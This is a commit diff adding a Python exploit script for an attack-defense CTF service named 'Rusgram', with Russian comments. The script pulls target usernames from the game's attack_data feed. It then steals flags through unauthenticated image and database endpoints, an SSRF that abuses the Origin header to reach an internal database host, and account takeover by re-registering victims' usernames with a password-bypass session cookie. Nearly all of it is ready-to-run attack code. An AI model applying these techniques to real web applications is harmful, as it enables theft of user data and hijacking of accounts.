hueta
This commit is contained in:
Executable
+278
@@ -0,0 +1,278 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Rusgram — targeted steal по ForcAD attack_data + всегда-активный сбор
|
||||||
|
флагов из комментариев к картинкам (:38002/images/N, без auth — как в перехвате).
|
||||||
|
|
||||||
|
Флаги живут в comments картинок и в полях msg / first_name / email жертвы.
|
||||||
|
|
||||||
|
Не дублирует rusgram_sploit.py (энумерация+RCE) и rusgram_ssti_flagrake.py
|
||||||
|
(grep по ФС): здесь нет слепого ls/grep — только имена из ленты.
|
||||||
|
|
||||||
|
./start_sploit.py rusgram_attack_data.py
|
||||||
|
python3 rusgram_attack_data.py <IP> [PORT]
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
import string
|
||||||
|
import sys
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
IP_RX = re.compile(r"^\d{1,3}(?:\.\d{1,3}){3}$")
|
||||||
|
TIMEOUT = 4
|
||||||
|
|
||||||
|
PROXY_PORT = 38000
|
||||||
|
DB_PORT = 38002
|
||||||
|
CONTENT_PORT = 38004
|
||||||
|
|
||||||
|
ATTACK_DATA_URL = os.environ.get(
|
||||||
|
"ATTACK_DATA_URL", "http://10.10.10.253:80/api/client/attack_data")
|
||||||
|
SERVICE_HINTS = ("rusgram", "gram", "instagram")
|
||||||
|
USER_KEYS = ("username", "login", "user", "name", "login_name", "public")
|
||||||
|
FIELDS = ("msg", "first_name", "second_name", "email")
|
||||||
|
MAX_USERS = 40
|
||||||
|
|
||||||
|
|
||||||
|
def _rnd(n=10):
|
||||||
|
return "".join(random.choices(string.ascii_lowercase, k=n))
|
||||||
|
|
||||||
|
|
||||||
|
def _log(msg):
|
||||||
|
print(f"[*] {msg}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
def _looks_username(s):
|
||||||
|
if not isinstance(s, str):
|
||||||
|
return False
|
||||||
|
s = s.strip()
|
||||||
|
if not s or len(s) > 64 or len(s) < 1:
|
||||||
|
return False
|
||||||
|
if FLAG_RX.fullmatch(s) or IP_RX.fullmatch(s):
|
||||||
|
return False
|
||||||
|
if s.startswith("http://") or s.startswith("https://"):
|
||||||
|
return False
|
||||||
|
if any(c in s for c in " \t\r\n/\\"):
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def _harvest(node, out):
|
||||||
|
if node is None:
|
||||||
|
return
|
||||||
|
if isinstance(node, str):
|
||||||
|
raw = node.strip()
|
||||||
|
if raw.startswith("{") or raw.startswith("["):
|
||||||
|
try:
|
||||||
|
_harvest(json.loads(raw), out)
|
||||||
|
return
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
if _looks_username(raw):
|
||||||
|
out.append(raw)
|
||||||
|
return
|
||||||
|
if isinstance(node, (int, float, bool)):
|
||||||
|
return
|
||||||
|
if isinstance(node, list):
|
||||||
|
for x in node:
|
||||||
|
_harvest(x, out)
|
||||||
|
return
|
||||||
|
if isinstance(node, dict):
|
||||||
|
for k, v in node.items():
|
||||||
|
lk = str(k).lower()
|
||||||
|
if lk in USER_KEYS and isinstance(v, str) and _looks_username(v):
|
||||||
|
out.append(v.strip())
|
||||||
|
else:
|
||||||
|
_harvest(v, out)
|
||||||
|
|
||||||
|
|
||||||
|
def get_attack_data(target_ip):
|
||||||
|
"""ForcAD: {service: {ip|team_id: [hints...]}} — берём хинты своей цели."""
|
||||||
|
try:
|
||||||
|
r = requests.get(ATTACK_DATA_URL, timeout=3)
|
||||||
|
r.raise_for_status()
|
||||||
|
data = r.json()
|
||||||
|
except (requests.RequestException, ValueError) as e:
|
||||||
|
_log(f"attack_data: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
return []
|
||||||
|
|
||||||
|
team_id = target_ip.rsplit(".", 1)[-1]
|
||||||
|
scoped = []
|
||||||
|
|
||||||
|
def scope(node):
|
||||||
|
if not isinstance(node, dict):
|
||||||
|
return
|
||||||
|
for key, val in node.items():
|
||||||
|
k = str(key)
|
||||||
|
if k == target_ip or k == team_id:
|
||||||
|
scoped.append(val)
|
||||||
|
elif any(h in k.lower() for h in SERVICE_HINTS):
|
||||||
|
if isinstance(val, dict):
|
||||||
|
scope(val)
|
||||||
|
else:
|
||||||
|
scoped.append(val)
|
||||||
|
|
||||||
|
scope(data)
|
||||||
|
if not scoped:
|
||||||
|
scoped.append(data.get(target_ip) or data.get(team_id) or [])
|
||||||
|
|
||||||
|
users = []
|
||||||
|
for node in scoped:
|
||||||
|
_harvest(node, users)
|
||||||
|
|
||||||
|
# newest last in ForcAD → бьём свежие флаги первыми
|
||||||
|
seen, ordered = set(), []
|
||||||
|
for u in reversed(users):
|
||||||
|
if u not in seen:
|
||||||
|
seen.add(u)
|
||||||
|
ordered.append(u)
|
||||||
|
ordered = ordered[:MAX_USERS]
|
||||||
|
_log(f"attack_data: {len(ordered)} users for {target_ip}")
|
||||||
|
return ordered
|
||||||
|
|
||||||
|
|
||||||
|
def _pull_flags(text, flags):
|
||||||
|
if not text:
|
||||||
|
return
|
||||||
|
flags |= set(FLAG_RX.findall(text))
|
||||||
|
|
||||||
|
|
||||||
|
def steal_images(ip, flags):
|
||||||
|
"""Главный рабочий вектор (см. перехват): флаги в comments картинок.
|
||||||
|
Не нужны ни имена, ни attack_data — просто читаем :38002/images/1..16."""
|
||||||
|
d = f"http://{ip}:{DB_PORT}"
|
||||||
|
before = len(flags)
|
||||||
|
for i in range(1, 17):
|
||||||
|
try:
|
||||||
|
r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT)
|
||||||
|
_pull_flags(r.text, flags)
|
||||||
|
except requests.RequestException:
|
||||||
|
break
|
||||||
|
# тот же ресурс через content-ноду, если 38002 прикрыт, а 38004 нет
|
||||||
|
c = f"http://{ip}:{CONTENT_PORT}"
|
||||||
|
for i in range(1, 17):
|
||||||
|
try:
|
||||||
|
r = requests.get(f"{c}/images/{i}", timeout=TIMEOUT)
|
||||||
|
_pull_flags(r.text, flags)
|
||||||
|
except requests.RequestException:
|
||||||
|
break
|
||||||
|
if len(flags) > before:
|
||||||
|
_log(f"images : +{len(flags) - before}")
|
||||||
|
|
||||||
|
|
||||||
|
def steal_db(ip, users, flags):
|
||||||
|
d = f"http://{ip}:{DB_PORT}"
|
||||||
|
before = len(flags)
|
||||||
|
for u in users:
|
||||||
|
for field in FIELDS:
|
||||||
|
try:
|
||||||
|
r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT)
|
||||||
|
_pull_flags(r.text, flags)
|
||||||
|
except requests.RequestException:
|
||||||
|
return
|
||||||
|
if len(flags) > before:
|
||||||
|
_log(f"db : +{len(flags) - before}")
|
||||||
|
|
||||||
|
|
||||||
|
def steal_content(ip, users, flags):
|
||||||
|
c = f"http://{ip}:{CONTENT_PORT}"
|
||||||
|
before = len(flags)
|
||||||
|
for u in users:
|
||||||
|
try:
|
||||||
|
r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT)
|
||||||
|
_pull_flags(r.text, flags)
|
||||||
|
except requests.RequestException:
|
||||||
|
return
|
||||||
|
if len(flags) > before:
|
||||||
|
_log(f"content : +{len(flags) - before}")
|
||||||
|
|
||||||
|
|
||||||
|
def steal_ssrf(base, users, flags):
|
||||||
|
actor, pwd = _rnd(), _rnd()
|
||||||
|
try:
|
||||||
|
requests.post(f"{base}/api/register",
|
||||||
|
json={"login": actor, "password": pwd}, timeout=TIMEOUT)
|
||||||
|
except requests.RequestException:
|
||||||
|
return
|
||||||
|
before = len(flags)
|
||||||
|
for u in users:
|
||||||
|
for field in FIELDS:
|
||||||
|
try:
|
||||||
|
r = requests.post(
|
||||||
|
f"{base}/api/send_msg", json={"msg": "x"},
|
||||||
|
cookies={"session": f"{actor}||WRONGPASS"},
|
||||||
|
headers={"Origin": f"http://database:5002/users/{u}/{field}?x="},
|
||||||
|
timeout=TIMEOUT)
|
||||||
|
_pull_flags(r.text, flags)
|
||||||
|
except requests.RequestException:
|
||||||
|
return
|
||||||
|
if len(flags) > before:
|
||||||
|
_log(f"ssrf : +{len(flags) - before}")
|
||||||
|
|
||||||
|
|
||||||
|
def steal_ato(base, users, flags):
|
||||||
|
before = len(flags)
|
||||||
|
for u in users:
|
||||||
|
pwd = _rnd()
|
||||||
|
try:
|
||||||
|
r = requests.post(f"{base}/api/register",
|
||||||
|
json={"login": u, "password": pwd}, timeout=TIMEOUT)
|
||||||
|
if r.status_code != 200:
|
||||||
|
continue
|
||||||
|
r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"},
|
||||||
|
timeout=TIMEOUT)
|
||||||
|
_pull_flags(r.text, flags)
|
||||||
|
except requests.RequestException:
|
||||||
|
continue
|
||||||
|
if len(flags) > before:
|
||||||
|
_log(f"ato : +{len(flags) - before}")
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip, port=None):
|
||||||
|
proxy_port = int(port) if port else PROXY_PORT
|
||||||
|
base = f"http://{target_ip}:{proxy_port}"
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
# 1) always-on: флаги в комментах картинок, attack_data не нужен
|
||||||
|
steal_images(target_ip, flags)
|
||||||
|
|
||||||
|
# 2) targeted: если attack_data доступен — добираем поля юзеров
|
||||||
|
users = get_attack_data(target_ip)
|
||||||
|
if users:
|
||||||
|
steal_db(target_ip, users, flags)
|
||||||
|
steal_content(target_ip, users, flags)
|
||||||
|
steal_ssrf(base, users, flags)
|
||||||
|
steal_ato(base, users, flags)
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def start_sploit(ip, port=None):
|
||||||
|
return exploit(ip, port)
|
||||||
|
|
||||||
|
|
||||||
|
def sploit(ip, port=None):
|
||||||
|
return exploit(ip, port)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip> [port]", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
port = sys.argv[2] if len(sys.argv) > 2 else None
|
||||||
|
try:
|
||||||
|
for flag in exploit(target_ip, port) or []:
|
||||||
|
clean = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean):
|
||||||
|
print(clean, flush=True)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Regular → Executable
Reference in New Issue
Block a user